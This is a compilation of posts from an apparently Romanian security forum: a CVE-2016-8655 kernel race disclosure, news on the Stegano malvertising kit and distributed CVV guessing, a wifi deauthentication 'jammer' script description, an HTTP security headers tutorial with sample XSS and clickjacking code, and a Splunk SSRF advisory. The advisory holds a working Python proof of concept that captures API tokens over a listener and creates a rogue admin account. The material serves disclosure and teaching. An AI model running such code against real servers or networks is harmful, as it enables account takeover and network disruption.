Nytro

Nationalist.

Fanii nostri (vezi nr inmatriculare): https://www.facebook.com/vladimir.enachescu/posts/10154846666986663

Acum ceva timp, a fost organizat un protest impotriva ACTA https://ro.wikipedia.org/wiki/Acordul_comercial_de_combatere_a_contrafacerii Pe Facebook au anuntat ca vor fi 40.000. In Piata Universitatii am fost 400. A, da, ningea afara si era cam frig, acasa pe Facebook e cald.

Informativ, dar stiati deja: http://www.digi24.ro/stiri/actualitate/politica/alegeri-parlamentare-2016/votul-incertitudinii-ce-alegeri-au-fost-astazi-prezidentiale-630145

Mergeti la vot.

Forta GovITHub, muie Dragnea!

Linus a spus de mai multe ori ca pe el il intereseaza mai mult ca Linux sa fie stabil, nu sigur. Cu alte cuvinte, e de preferat sa nu iei PANIC in locul a mai putine LOCAL privilege escalation.

Sugestia mea e sa te gandesti mai bine la viitorul tau pe termen lung. Poti face multe cu programarea. Pentru Linux, instaleaza-ti o versiune si joaca-te cu ea. Exista o gramada de tutoriale despre orice, dar poti incepe cu ce a spus aelius.

CVE-2016-8655 Linux af_packet.c race condition (local root) From: Philip Pettersson <philip.pettersson () gmail com> Date: Tue, 6 Dec 2016 11:50:57 +0900 Hello, This is an announcement about CVE-2016-8655 which is a race-condition I found in Linux (net/packet/af_packet.c). It can be exploited to gain kernel code execution from unprivileged processes. The bug was introduced on Aug 19, 2011: https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a Fixed on Nov 30, 2016: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c =*=*=*=*=*=*=*=*= BUG DETAILS =*=*=*=*=*=*=*=*= To create AF_PACKET sockets you need CAP_NET_RAW in your network namespace, which can be acquired by unprivileged processes on systems where unprivileged namespaces are enabled (Ubuntu, Fedora, etc). It can be triggered from within containers to compromise the host kernel. On Android, processes with gid=3004/AID_NET_RAW are able to create AF_PACKET sockets (mediaserver) and can trigger the bug. I found the bug by reading code paths that have been opened up by the emergence of unprivileged namespaces, something I think should be off by default in all Linux distributions given its history of security vulnerabilities. The problem is inside packet_set_ring() and packet_setsockopt(). We can reach packet_set_ring() by calling setsockopt() on the socket using the PACKET_RX_RING option. If the version of the packet socket is TPACKET_V3, a timer_list object will be initialized by packet_set_ring() when it calls init_prb_bdqc(). ... switch (po->tp_version) { case TPACKET_V3: /* Transmit path is not supported. We checked * it above but just being paranoid */ if (!tx_ring) init_prb_bdqc(po, rb, pg_vec, req_u); break; default: break; } ... The function flow to set up the timer is: packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()-> prb_init_blk_timer()->prb_init_blk_timer()->init_timer() When the socket is closed, packet_set_ring() is called again to free the ring buffer and delete the previously initialized timer if the packet version is > TPACKET_V2: ... if (closing && (po->tp_version > TPACKET_V2)) { /* Because we don't support block-based V3 on tx-ring */ if (!tx_ring) prb_shutdown_retire_blk_timer(po, rb_queue); } ... The issue is that we can change the packet version to TPACKET_V1 with packet_setsockopt() after init_prb_bdqc() has been executed and before packet_set_ring() has returned. There is an attempt to deny changing socket versions after a ring buffer has been initialized, but it is insufficient: ... case PACKET_VERSION: { ... if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) return -EBUSY; ... There's plenty of room to race this code path between the calls to init_prb_bdqc() and swap(rb->pg_vec, pg_vec) in packet_set_ring(). When the socket is closed, packet_set_ring() will not delete the timer since the socket version is now TPACKET_V1. The struct timer_list that describes the timer object is located inside the struct packet_sock for the socket itself however and will be freed with a call to kfree(). We then have a use-after-free on a timer object that can be exploited by various poisoning attacks on the SLAB allocator (I find add_key() to be the most reliable). This will ultimately lead to the kernel jumping to a manipulated function pointer when the timer expires. The bug is fixed by taking lock_sock(sk) in packet_setsockopt() when changing the packet version while also taking the lock at the start of packet_set_ring(). My exploit defeats SMEP/SMAP and will give a rootshell on Ubuntu 16.04, I will hold off a day on publishing it so people have some time to update. New Ubuntu kernels are out so please update as soon as possible. =*=*=*=*=*=*=*=*= TIMELINE =*=*=*=*=*=*=*=*= 2016-11-28: Bug reported to security () kernel org 2016-11-30: Patch submitted to netdev, notification sent to linux-distros 2016-12-02: Patch committed to mainline kernel 2016-12-06: Public announcement =*=*=*=*=*=*=*=*= LINKS =*=*=*=*=*=*=*=*= https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655 https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c https://www.ubuntu.com/usn/usn-3151-1/ =*=*=*=*=*=*=*=*= CREDIT =*=*=*=*=*=*=*=*= Philip Pettersson Sursa: http://seclists.org/oss-sec/2016/q4/607

ARMv8 Shellcodes from ‘A’ to ‘Z’ Hadrien Barral, Houda Ferradi, R´emi G´eraud, Georges-Axel Jaloyan and David Naccache Ecole normale superieure – Computer Science Department ´ 45 rue d’Ulm 75230 Paris cedex 05, France firstname.lastname@ens.fr August 12, 2016 Abstract We describe a methodology to automatically turn arbitrary ARMv8 programs into alphanumeric executable polymorphic shellcodes. Shellcodes generated in this way can evade detection and bypass filters, broadening the attack surface of ARM-powered devices such as smartphones. Download: https://arxiv.org/pdf/1608.03415.pdf

IoT e viitorul...

Stegano exploit kit poisoning pixels BY PETER STANCIK POSTED 6 DEC 2016 - 12:00PM ESET researchers have discovered a new exploit kit spreading via malicious ads on a number of reputable news websites, each with millions of visitors daily. Since at least the beginning of October 2016, the bad guys have been targeting users of Internet Explorer and scanning their computers for vulnerabilities in Flash Player. Exploiting these flaws in the code, they have been attempting to download and execute various types of malware. The attacks fall into the category of so-called malvertising due to the fact that the malicious code has been distributed through advertising banners. To make things worse, the attackers responsible are using stealthy, even paranoid, techniques, which makes analysis quite complicated and has thus necessitated an extensive research report. I asked Robert Lipovsky, one of ESET’s senior malware researchers, to give us a less technical overview of the case. What does your discovery mean for internet users? It means that there are advertising banners with “poisoned pixels” leading to a new exploit kit, intended to enable the bad guys to remotely install malware onto victims’ computers. The victim doesn’t even need to click on the malicious ad content; all it takes is to visit a website displaying it. If the victim’s computer runs a vulnerable version of Flash Player, the machine will be compromised via an exploited vulnerability automatically. After that, the bad guys have all they need to download and execute the malware of their choice. Some of the payloads we analyzed include banking trojans, backdoors and spyware, but the victims could end up facing a nasty ransomware attack, for example. Once again this threat shows how important it is to have your software fully patched and to be protected by a reputable security solution. In this particular case, either of these measures fully protects you from this specific attack. Where are the poisoned pixels in this? Well, the name “Stegano” refers to steganography, which is a technique the bad guys used to hide parts of their malicious code in the pixels of the advertisements’ banners. Specifically, they hide it in the parameters controlling the transparency of each pixel. This makes only minor changes to the (color) tone of the picture, making the changes effectively invisible to the naked eye and so unnoticed by the potential victim. How does the attack work? I believe the following scheme is the best way to explain what is happening in this case: Your analysis shows that the creators of the Stegano exploit kit are trying hard to stay unseen. What makes them so paranoid? Attackers have succeeded in circumventing the countermeasures designed to uncover and block malicious content on advertising platforms, which has resulted in legitimate websites unknowingly serving infected content to millions of potential victims. On top of that, the malicious version of the ad is served only to a specific target group, selected by the attackers’ server. The decision-making logic behind the choice of target is unknown and this helps the bad guys to go further in dodging suspicion on the advertising platforms’ side. But those are not the only reasons why they try hard to stay stealthy – and that’s where the attackers get really paranoid. The crooks behind the Stegano exploit kit are also trying to stay off the radar of experienced cybersecurity research teams hunting for malware. Hiding code in the pixels would not be enough to escape this kind of attention, so they have implemented a series of checks to detect whether the code is being surveilled. If any kind of surveillance is detected, the exploit kit’s activities simply stop and no malicious content is served. How do they know when the code is being observed? The exploit kit mainly tries to detect whether or not it is sitting in a sandbox, or if it is running on a virtual machine that was created for detection purposes. Also, the malware checks for any security software that might be present and sends this information to its operators. Can you say how many users have already seen these banners with poisoned pixels? Our detection systems show that in the last two months the malicious ads have been displayed to more than a million users on several very popular websites. Bear in mind, this is a rather conservative estimate based only on our own telemetry from users participating in ESET LiveGrid®. After all, the visitor counts of some of these websites are in the millions daily. Can you be more specific? Which websites were affected? The purpose of this research is to shed light on the activities of the bad guys and to make users safe from this threat. In this case, disclosure of the websites known to have been affected wouldn’t add any extra value in this regard. On the contrary, it could provide a false sense of security to those who have not visited these sites, as the banners could have appeared on practically any website that displays ads. We should also mention the reputational harm this could inflict on victimized pages, especially since there is nothing they could have done to prevent these attacks, as the targeted ad space isn’t completely under their control. What should I do to stay protected from exploit kit attacks? First of all, let me highlight again that those who are diligent in protecting their computers, are safe from these specific attacks. Keeping both the system and all applications patched and using a reliable internet security solution are strong precautions that help prevent such attacks. However, for unwary users, malvertising poses a serious threat, and their only hope is that malicious banners won’t make it onto websites they visit. Sursa: http://www.welivesecurity.com/2016/12/06/stegano-exploit-kit/

Do NOT try this! How to guess credit card security codes by Paul Ducklin If you’ve ever used your credit card online, or over the phone, you’ve probably been asked for something known informally as the “short code” or “security code”. That’s usually a three-digit number physically printed (but not embossed) at the right hand end of the signature strip on the back of your card. Three digits don’t sound enough to make much of a password, and in normal circumstances they wouldn’t be. But for what are known as card-not-present transctions, the CVV, or Card Verification Value as it is commonly known, provides a handy degree of protection against one of the most common sorts of credit card fraud, namely skimming. Sophos Home Skimming is where the crooks use a booby-trapped card reader, for example glued over the real card reader on an ATM, or cunningly squeezed into the card slot on a payment terminal, to read and record the magnetic stripe on your card. Even if you have a Chip and PIN card, the magstripe contains almost enough information for a crook to convince a website they have your card. For example, your name as it appears on the front of the card, the “long code”, usually 16 digits across the face of the card, and the expiry date are all there on the magstripe, ready to be copied surreptitiously and used on the web. The CVV therefore acts as a very low-tech barrier to card-not-present fraud, because most websites also require you to type in the CVV, which is not stored on the magstripe and therefore can’t be skimmed. Of course, there are numerous caveats here, including: The vendor mustn’t store your CVV after the transaction is complete. The security usefulness of the CVV depends on it never lying around where it could subsequently fall foul of cyberthieves. The payment processor mustn’t allow too many guesses at your CVV. With unlimited guesses and a three-digit code, even a crook working entirely by hand could try all the possibilities with a few hours. Guessing CVVs Researchers at Newcastle University in the UK recently decided to see just how effectively the second caveat was enforced, by trying to guess CVVs. The initial findings were encouraging: after a few guesses on the same website, they’d end up locked out and unable to go and further. Then they tried what’s called a distributed attack, using a program to submit payment requests automatically to lots of websites at the same time. You can see where this is going. If each website gives you five guesses, then with 200 simultaneous guesses on a range of different websites, you can get through 1000 guesses (200 × 5) in quick order without triggering a block on any of the sites. And with 1000 guesses, you can cover all CCV possibilities from 000 to 999, stopping when you succeed. Then you can go to that 251st site and order just about whatever you like, because you’ve “solved” the CVV without ever actually seeing the victim’s card. In other words, you’d expect the payment processor’s back-end servers to keep track not just of the number of CVV guesses from each site, but the total number of guesses since your last successful purchase from any site. According to Newcastle University, Mastercard stopped this sort of distributed guessing, but Visa did not. Should you worry? Considering how much credit card fraud happens without any need for CVV-guessing tricks like this, we don’t think this is a signal to give up online purchases entirely this festive season. Afte all, if any of the sites or services you used recently kept your CVV, even if only to write it down temporarily while processing your transaction, you’re exposed anyway, so CVVs aren’t a significant barrier to determined crooks. And if you’ve ever put your card details into a hacked or fraudulent website – even (or perhaps especially) if the transaction was never finalised – then the crooks probably already have everything they need to clone your card. What to do? A few simple precautions will help, regardless of your card provider: Don’t let your card out of your sight. Crooks working out of sight, even for just a few seconds, can skim your card easily simply by running it through two readers. They can also snap a sneaky picture of the back of the card to record both your signature and the CVV. Try to use the Chip and PIN slot when paying in person. Most chip readers only require you to insert your card far enough to connect up to the chip. This leaves most of the magstripe sticking out, making skimming the card details harder. If in doubt, find another retailer or ATM. Most ATMs still require you to insert your whole card, and can therefore be fitted with glued-on magstripe skimmers. If you aren’t sure, why not get hold and give it a wiggle? Skimmers often don’t feel right, because they aren’t part of the original ATM. Stick to online retailers you trust. Check the address bar of the payment page, make sure you’re on an encrypted (HTTPS) site, and if you see any web certificate warnings, bail out immediately. Keep an eye on your statements. If your bank has a service to send you a message notifying you when transactions take place, consider turning it on. Follow @NakedSecurity Follow @duckblog Sursa: https://nakedsecurity.sophos.com/2016/12/05/how-to-guess-credit-card-security-codes/

From: Francesco Oddo <francesco.oddo () security-assessment com> Date: Fri, 9 Dec 2016 14:54:02 +1300 ( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Splunk Enterprise Server-Side Request Forgery Affected versions: Splunk Enterprise <= 6.4.3 PDF: http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf +-----------+ |Description| +-----------+ The Splunk Enterprise application is affected by a server-side request forgery vulnerability. This vulnerability can be exploited by an attacker via social engineering or other vectors to exfiltrate authentication tokens for the Splunk REST API to an external domain. +------------+ |Exploitation| +------------+ ==Server-Side Request Forgery== A server-side request forgery (SSRF) vulnerability exists in the Splunk Enterprise web management interface within the Alert functionality. The application parses user supplied data in the GET parameter ‘alerts_id’ to construct a HTTP request to the splunkd daemon listening on TCP port 8089. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host. The issue is aggravated by the fact that the application includes the REST API token for the currently authenticated user within the Authorization request header. This vulnerability can be exploited via social engineering to obtain unauthorized access to the Splunk REST API with the same privilege level of the captured API token. [POC SSRF LINK] /en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test The proof of concept below can be used to listen for SSRF connections and automatically create a malicious privileged user when an administrative token is captured. [POC - splunk-poc.py] from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import httplib import ssl import requests token = '' class MyHandler(BaseHTTPRequestHandler): def do_GET(self): global token try: token = self.headers.get('Authorization')[7:] print "[+] Captured Splunk API token from GET request" except Exception, e: print "[-] No API token captured on incoming connection..." def adminTokenNotCaptured(): global token if token: query = "/services/authentication/httpauth-tokens/" + token conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089, context=ssl._create_unverified_context()) conn.putrequest("GET", query) conn.putheader("Authorization", "Splunk %s" % token) conn.endheaders() context = conn.getresponse().read() if 'userName">admin' in context: print "[+] Confirmed Splunk API token belongs to admin user" print "[+] Admin Splunk API Token: %s" % token return False else: print "[!] Splunk API token does not belong to admin user" return True def poc(): global token create_user_uri = "https://<SPLUNK IP>:8089/services/authentication/users" params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'} auth_header = {'Authorization': 'Splunk %s' % token} requests.packages.urllib3.disable_warnings() response = requests.post(url=create_user_uri, data=params, headers=auth_header, verify=False) if "<title>infosec" in response.content: print "[+] POC admin account 'infosec:password' successfully created" else: print "[-] No account was created" print response.content if __name__ == "__main__": try: print "[+] Starting HTTP Listener" server = HTTPServer(("", 8080), MyHandler) while adminTokenNotCaptured(): server.handle_request() poc() except KeyboardInterrupt: print "[+] Stopping HTTP Listener" server.socket.close() +----------+ | Solution | +----------+ Update to Splunk 6.5.0 or later. Full information about all patched versions are provided in the reference links below. +------------+ | Timeline | +------------+ 24/08/2016 – Initial disclosure to vendor 25/08/2016 – Vendor acknowledges receipt of the advisory and confirms vulnerability. 28/09/2016 – Sent follow up email asking for status update 30/09/2016 – Vendor replies fixes are being backported to all supported versions of the software. 10/11/2016 – Vendor releases security advisory and patched software versions 09/12/2016 – Public disclosure +------------+ | Additional | +------------+ http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf https://www.splunk.com/view/SP-CAAAPSR [SPL-128840] Sursa: http://seclists.org/fulldisclosure/2016/Dec/30

New Smartwatch OS Debuts on GitHub By John P. Mello Jr. Dec 9, 2016 7:00 AM PT Can a new smartwatch operating system based on Linux breathe some new life into the smart wearables market? Florent Revest hopes so. Revest, a French computer science student, on Wednesday announced the alpha release of AsteroidOS, an open source operating system that will run on several Android smartwatch models. "Many users believe that the current proprietary platforms can not guarantee a satisfactory level of control over their privacy and hardware," noted Revest, who has been working on his OS for two years. "Hence, I noticed a need for an open wearable platform and AsteroidOS is my attempt to address this issue." The alpha edition of AsteroidOS contains some basic apps: agenda, for scheduling events to remember; an alarm clock; a calcuator; music, for controlling the music player on a phone; a stopwatch; a timer and a weather app. The OS will run, more or less, on the LG G Watch, LG G Urbane, Asus ZenWatch 2 and Sony Smartwatch 3, Revest noted. Bluetooth works only on the G Watch, though. Uphill Battle Launching an open source mobile operating system can be a daunting and seemingly futile task. "This has been tried repeatedly in the past and has failed," said Jack E. Gold, principal analyst at J.Gold Associates. So far there's only been one open source success story in the mobile market, and that's been Android -- which eventually was consumed by Google and closed off, noted Patrick Moorhead, principal analyst at Moor Insights and Strategy. "Firefox, Meego and Ubuntu have tried this and, unfortunately, haven't met with success," he told LinuxInsider. Breaking From Past However, Revest's focus on smartwatches may give his OS a better chance of success than past open source efforts had, said Charles King, principal analyst at Pund-IT. "There's certainly no guarantee that AsteroidOS can breathe life into so stagnant a market -- but at the same time, the new OS won't encounter the barriers it would in more mature markets, such as smartphones," he told LinuxInsider. "There's a hole in the market for this," said Ross Rubin, principal analyst at Reticle Research. "Unlike the phone and tablet market, where you can use the Android open source platform and build something based on that, there really hasn't been much for smartwatches," he told LinuxInsider. Google offers a form of Android for wearables, but it can't be modified the way the open source version of Android can. Narrow Appeal While Revest envisions growth of AsteroidOS as an open source community builds around it and it becomes compatible with more devices, broad adoption may be a long shot. Manufacturers who produce custom phones for target markets, such as low cost phones for emerging markets, might be interested in AsteroidOS, suggested Gold. However, "you can do this with Android-Linux already," he told LinuxInsider, "and with a new OS, there will be no availability of apps, so the devices will be very unattractive." Chinese phone makers who use open source Android may use AsteroidOS to produce very inexpensive smartwatches, said Rubin, "but inexpensive smartwatches haven't been driving the market. Pebble was an inexpensive smartwatch, and look what happened to it." The early adopters of the OS will be Linux enthusiasts and hobbyists, King said. Since the OS can work on older watches, early users likely will run the software on second-hand hardware. "That's a dynamic that drove significant early interest in Linux during the mid- to late-1990s, when people ported the OS to a wide variety of x86-based PCs and servers that were well past their prime," King recalled. Many of the initial users of AsteroidOS likely will be developers and Linux evangelists, he said. "If AsteroidOS can gain a foothold with them, it could well spark commercial interest and adoption further down the road." Pebble Crushed Revest's announcement came on the same day that news broke that one of the pioneers in the smartwatch market, Pebble, has been purchased by Fitbit, reportedly for US$40 million. Fitbit, a fitness band maker, made the purchase to acquire key personnel and intellectual property. The deal does not include Fitbit's hardware, which will be discontinued. The smartwatch market took a tumble in the third quarter, according to IDC. Shipments of wearable products were up 3.1 percent -- to 23.0 million from 22.3 million in the same quarter a year ago -- the firm reported earlier this week. "It's still early days, but we're already seeing a notable shift in the market," observed IDC Senior Research Analyst Jitesh Ubrani. "Where smartwatches were once expected to take the lead, basic wearables now reign supreme." John Mello is a freelance technology writer and contributor to Chief Security Officer magazine. You can connect with him on Google+. Sursa: http://www.linuxinsider.com/story/84154.html?rss=1

jammer A Bash script to automate the continuous circular deauthentication of all the wifi networks in your reach I am not responsible for any misuses of the script Keep in mind that it is generally illegal to use the script at your neihborhood It is designed for pen-testing purposes It has only been tested on my two machines, so there may still be bugs that can even cause data loss That's why I suggest you take a good look at the code before you execute it There will be updates as soon as I fix something or make a nice improvement Not that anyone will see this Jammer v0.3 Usage: jammer [OPTION] ... Jam Wifi Networks That Your Wireless Card Can Reach. -d, --deauths: Set the number of deauthentications for each station. Default is 10 -y, --yes: Make 'Yes' the answer for everything the script asks -s, --endless: When reaching the end of the list, start again -f, --whitelist: A file with ESSID's to ignore during the attack -k, --keep: Keep the scan files after the script ends -n, --name: Choose the names the scan files are saved as -e, --ethernet: Set the name for the ethernet interface. Default is 'eth0' -w, --wireless: Set the name for the wireless interface. Default is 'wlan0' -h, --help: Show this help message Looking at this help message a suggested way to call the script is $ sudo ./jammer -y -s -d 20 -f whitelist.txt Sursa: https://github.com/billpcs/jammer

Exotic HTTP Headers Exploration of HTTP security and other non-typical headers Last updated on December 9, 2016 Table of Contents X-XSS-Protection No header X-XSS-Protection: 0 X-XSS-Protection: 1 X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; report=http://localhost:1234/report X-Frame-Options No header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from http://localhost:4321 X-Content-Type-Options No header X-Content-Type-Options: nosniff Content-Security-Policy No header Content-Security-Policy: default-src 'none' Content-Security-Policy: default-src 'self' Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' Other Strict-Transport-Security Public-Key-Pins Content-Encoding: br Timing-Allow-Origin Alt-Svc P3P X-XSS-Protection Cross-Site Scripting (XSS) is an attack in which malicious scripts can be injected on a page. For example: <h1>Hello, <script>alert('hacked')</script></h1> This is a pretty obvious attack and something that browsers can block: if you find a part of the request in the source code, it might be an attack. The X-XSS-Protection controls this behavior. Values: 0 Filter disabled. 1 Filter enabled. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page. 1; mode=block Filter enabled. Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page. 1; report=http://domain/url Filter enabled. The browser will sanitize the page and report the violation. This is a Chromium function utilizing CSP violation reports to send details to a URI of your choice. Let's create a simple web server with node.js to play with this. var express = require('express') var app = express() app.use((req, res) => { if (req.query.xss) res.setHeader('X-XSS-Protection', req.query.xss) res.send(`<h1>Hello, ${req.query.user || 'anonymous'}</h1>`) }) app.listen(1234) I am using Google Chrome 55. No header http://localhost:1234/?user= Nothing happens. The browser successfully prevented this attack. This is the default behavior in Chrome if no header is set, as you can see in the error message in the Console. It even helpfully highlights it in the source. X-XSS-Protection: 0 http://localhost:1234/?user= &xss=0 Oh no! X-XSS-Protection: 1 http://localhost:1234/?user= &xss=1 The attack was successfully blocked by sanitizing the page because of our explicit header. X-XSS-Protection: 1; mode=block http://localhost:1234/?user= &xss=1; mode=block The attack is blocked by simply not rendering the page. X-XSS-Protection: 1; report=http://localhost:1234/report http://localhost:1234/?user= &xss=1; report=http://localhost:1234/report The attack is blocked and also reported to an address of our choice. X-Frame-Options This header allows you to prevent clickjack attacks. Imagine that an attacker has a YouTube channel and he needs subscribers. He can create a website with a button that says "Do not click" which means that everyone will definitely click on it. But there's a completely transparent iframe on top of the button. When you click the button, you actually click on the Subscribe button on YouTube. If you were logged into YouTube, you will now be subscribed to the attacker. Let's illustrate this. First, install the Ignore X-Frame headers extension. Create this HTML file. <style> button { background: red; color: white; padding: 10px 20px; border: none; cursor: pointer; } iframe { opacity: 0.8; z-index: 1; position: absolute; top: -570px; left: -80px; width: 500px; height: 650px; } </style> <button>Do not click his button!</button> <iframe src="https://youtu.be/dQw4w9WgXcQ?t=3m33s"></iframe> As you can see, I have cleverly positioned the viewport of the iframe to the Subscribe button. The iframe is on top of the button (z-index: 1) so when you try to click the button you click on the iframe instead. In this example, the iframe is not completely hidden but I could do that with opacity: 0. In practice, this does not work because you are not logged into YouTube, but you get the idea. You can prevent your website from being embedded as an iframe with the X-Frame-Options header. Values deny No rendering within a frame. sameorigin No rendering if origin mismatch. allow-from: DOMAIN Allows rendering if framed by frame loaded from DOMAIN. We are going to use this webserver for experiments. var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/iframe', (req, res) => res.send(`<h1>iframe</h1><iframe src="//localhost:1234?h=${req.query.h || ''}"></iframe>`)) app.use((req, res) => { if (req.query.h) res.setHeader('X-Frame-Options', req.query.h) res.send('<h1>Website</h1>') }) app.listen(port) } No header Everyone can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe http://localhost:4321/iframe X-Frame-Options: deny No one can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe?h=deny http://localhost:4321/iframe?h=deny X-Frame-Options: sameorigin Only we can embed our website at localhost:1234 in an iframe on our website. An origin is defined as a combination of URI scheme, hostname, and port number. http://localhost:1234/iframe?h=sameorigin http://localhost:4321/iframe?h=sameorigin X-Frame-Options: allow-from http://localhost:4321 It looks like Google Chrome ignores this directive because you can use Content Security Policy (see below). Invalid 'X-Frame-Options' header encountered when loading 'http://localhost:1234/?h=allow-from%20http://localhost:4321': 'allow-from http://localhost:4321' is not a recognized directive. The header will be ignored. It also had no effect in Microsoft Edge. Here's Mozilla Firefox. http://localhost:1234/iframe?h=allow-from http://localhost:4321 http://localhost:4321/iframe?h=allow-from http://localhost:4321 X-Content-Type-Options This header prevents MIME confusion attacks (<script src="script.txt">) and unauthorized hotlinking (<script src="https://raw.githubusercontent.com/user/repo/branch/file.js">). var express = require('express') var app = express() app.use('/script.txt', (req, res) => { if (req.query.h) res.header('X-Content-Type-Options', req.query.h) res.header('content-type', 'text/plain') res.send('alert("hacked")') }) app.use((req, res) => { res.send(`<h1>Website</h1><script src="/script.txt?h=${req.query.h || ''}"></script>`) }) app.listen(1234) No header http://localhost:1234/ Even though script.txt is a text file with the content type of text/plain it was still executed as if it was a piece of JavaScript. X-Content-Type-Options: nosniff http://localhost:1234/?h=nosniff This time the content types do not match and the file was not executed. Content-Security-Policy The new Content-Security-Policy (CSP) HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header. You can ask the browser to ignore inline JavaScript and load JavaScript files only from your domain, for example. Inline JavaScript can be not only <script>...</script> but also <h1 onclick="...">. Let's see how it works. var request = require('request') var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/script.js', (req, res) => { res.send(`document.querySelector('#${req.query.id}').innerHTML = 'changed by ${req.query.id} script'`) }) app.use((req, res) => { var csp = req.query.csp if (csp) res.header('Content-Security-Policy', csp) res.send(` <html> <body> <h1>Hello, ${req.query.user || 'anonymous'}</h1> <p id="inline">is this going to be changed by inline script?</p> <p id="origin">is this going to be changed by origin script?</p> <p id="remote">is this going to be changed by remote script?</p> <script>document.querySelector('#inline').innerHTML = 'changed by inline script'</script> <script src="/script.js?id=origin"></script> <script src="//localhost:1234/script.js?id=remote"></script> </body> </html> `) }) app.listen(port) } No header http://localhost:4321 It works like you would normally expect it to. Content-Security-Policy: default-src 'none' http://localhost:4321/?csp=default-src 'none'&user= default-src applies to all resources (images, scripts, frames, etc.) and the value of 'none' doesn't allow anything. We can see it in action here, along with very helpful error messages. Chrome refused to load or execute any of the scripts. It also tried to load favicon.ico even though it's also prohibited. Content-Security-Policy: default-src 'self' http://localhost:4321/?csp=default-src 'self'&user= Now we can load scripts from our origin, but still no remote or inline scripts. Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' http://localhost:4321/?csp=default-src 'self'; script-src 'self' 'unsafe-inline'&user= This time we also allow inline scripts to run. Note that our XSS attack was also prevented. But not when you allow unsafe-inline and set X-XSS-Protection: 0 at the same time. Other content-security-policy.com has nicely formatted examples. default-src 'self' allows everything but only from the same origin script-src 'self' www.google-analytics.com ajax.googleapis.com allows Google Analytics, Google AJAX CDN and Same Origin default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; allows images, scripts, AJAX, and CSS from the same origin, and does not allow any other resources to load (eg object, frame, media, etc). It is a good starting point for many sites. I have not tested this but I think that frame-ancestors 'none' should be equivalent to X-Frame-Options: deny frame-ancestors 'self' should be equivalent to X-Frame-Options: sameorigin frame-ancestors localhost:4321 should be equivalent to X-Frame-Options: allow-from http://localhost:4321 script-src 'self' i.e. without 'unsafe-inline' should be equivalent to X-XSS-Protection: 1 If you take a look at facebook.com and twitter.com headers, they use CSP a lot. Strict-Transport-Security HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks. Let's say that you want to go to facebook.com. Unless you type https://, the default protocol is HTTP and the default port for HTTP is 80. So the request will be made to http://facebook.com. $ curl -I facebook.com HTTP/1.1 301 Moved Permanently Location: https://facebook.com/ And then you are redirected to the secure version of Facebook. If you were connected to a public WiFi that an attacker is running, they could hijack this request and serve their own webpage that looks identical to facebook.com and collect your password. What you can do to prevent this is to use this header to tell that the next time the user wants to go to facebook.com, they should be taken to the https version instead. $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK Strict-Transport-Security: max-age=15552000; preload If you logged into Facebook at home and then went to facebook.com on the insecure WiFi, you'd be safe because the browser remembers this header. But what if you used Facebook on the insecure network for the first time ever? Then you are not protected. To fix this, browsers ship with a hard-coded list of domains known as the HSTS preload list that includes the most popular domain names that are HTTPS only. If you want to, you could try to submit your own here. It's also a handy website for testing if your site is using this header correctly. Yeah, I know, mine doesn't. Values, combination of, separated by ; max-age=15552000 The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload If the site owner would like their domain to be included in the HSTS preload list maintained by Chrome (and used by Firefox and Safari). What if you need to switch back to HTTP before max-age or if you had preload? You are out of luck. This header is very strictly enforced. You'd need to ask all of your users to clear their browsing history and settings. Public-Key-Pins HTTP Public Key Pinning (HPKP) is a security mechanism which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent certificates. Values pin-sha256="<sha256>" The quoted string is the Base64 encoded Subject Public Key Information (SPKI) fingerprint. It is possible to specify multiple pins for different public keys. Some browsers might allow other hashing algorithms than SHA-256 in the future. max-age=<seconds> The time, in seconds, that the browser should remember that this site is only to be accessed using one of the pinned keys. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<URL>" If this optional parameter is specified, pin validation failures are reported to the given URL. Instead of using a Public-Key-Pins header you can also use a Public-Key-Pins-Report-Only header. This header only sends reports to the report-uri specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated. That is what Facebook is doing: $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK ... Public-Key-Pins-Report-Only: max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; 